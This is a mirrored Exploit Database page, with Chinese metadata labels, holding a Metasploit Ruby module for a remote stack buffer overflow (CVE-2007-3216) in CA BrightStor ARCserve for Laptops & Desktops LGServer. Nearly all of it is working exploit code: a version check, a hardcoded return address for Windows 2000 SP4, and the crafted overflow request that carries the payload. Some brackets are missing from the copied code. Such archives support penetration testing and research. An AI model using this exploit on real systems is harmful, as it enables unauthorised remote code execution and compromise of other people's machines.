CA BrightStor ARCserve for Laptops & Desktops LGServer – ‘rxsSetDataGrowthScheduleAndFilter’ Remote Buffer Overflow (Metasploit)

Exploit Database
113 阅读

作者： Metasploit

日期： 2011-03-10
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16415/

# $Id: $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer (rxsSetDataGrowthScheduleAndFilter) Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup

for Laptops & Desktops 11.1. By sending a specially crafted request (rxsSetDataGrowthScheduleAndFilter),

an attacker could overflow the buffer and execute arbitrary code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10892 $',

'References' =>

[

[ 'CVE', '2007-3216' ],

[ 'OSVDB', '35329' ],

[ 'BID', '24348' ],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 700,

'BadChars' => "\x00",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],

'DisclosureDate' => 'Jun 6 2007',

'DefaultTarget' => 0))

register_options([ Opt::RPORT(1900) ], self.class)

end

def check

connect

sock.put("0000000019rxrGetServerVersion")

ver = sock.get_once

disconnect

if ( ver =~ /11.1.742/ )

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connect

data = rand_text_alpha_upper(20080) + [target.ret].pack('V')

data << payload.encoded + rand_text_alpha_upper(25000 - 20084 - payload.encoded.length)

sploit= "0000025000" # Command Length Field

sploit << "rxsSetDataGrowthScheduleAndFilter" # RPC Command

sploit << "~~" # Constant Argument Delimiter

sploit << data

print_status("Trying target #{target.name}...")

sock.put(sploit)

handler

disconnect

end